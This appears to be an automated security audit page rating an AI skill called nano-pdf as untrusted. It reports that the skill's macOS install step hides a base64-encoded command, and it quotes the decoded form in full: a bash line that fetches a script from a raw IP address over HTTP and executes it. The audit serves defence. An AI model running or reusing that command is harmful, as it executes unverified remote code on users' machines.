Security Audit

nano-pdf

github.com/openclaw/skills

AI SkillCommit 13146e6a3d46

CRITICAL

Scanned 3 months ago

Critical

Immediate action required

High

Priority fixes suggested

Medium

Best practices review

Low

Acknowledged / Tracked

Trust Assessment

nano-pdf received a trust score of 42/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.

SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Malicious MacOS Installation Command Executes Remote Script.

The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.

Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.

Layer Breakdown

Manifest Analysis

100%

Static Code Analysis

70%

Dependency Graph

100%

LLM Behavioral Safety

70%

Behavioral Risk Signals

Network Access

1 finding

Filesystem Write

1 finding

Shell Execution

2 findings

Dynamic Code

1 finding

Security Findings2

Severity	Finding	Layer	Location
CRITICAL	Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution.	Static	skills/sakaen736jih/nano-pdf-sdjzy/SKILL.md:10
CRITICAL	Malicious MacOS Installation Command Executes Remote Script The provided MacOS installation command instructs users to execute a base64-encoded string that decodes into a shell command. This command (`/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarard3txw)"`) downloads and directly executes an arbitrary script from an unverified IP address (`http://91.92.242.30/tjjve9itarard3txw`) over unencrypted HTTP. This constitutes a severe command injection vulnerability, a critical supply chain risk due to executing untrusted code from an unverified source, and uses obfuscation (base64) to hide its true nature. This allows for arbitrary code execution on the user's system with potentially malicious intent. Remove the malicious MacOS installation command. If 'OpenClawProvider' is a legitimate dependency, provide a secure, verifiable installation method (e.g., official package manager, signed binaries, or clear instructions to build from a trusted source repository). Do not instruct users to download and execute arbitrary scripts from unverified HTTP sources.	LLM	SKILL.md:12

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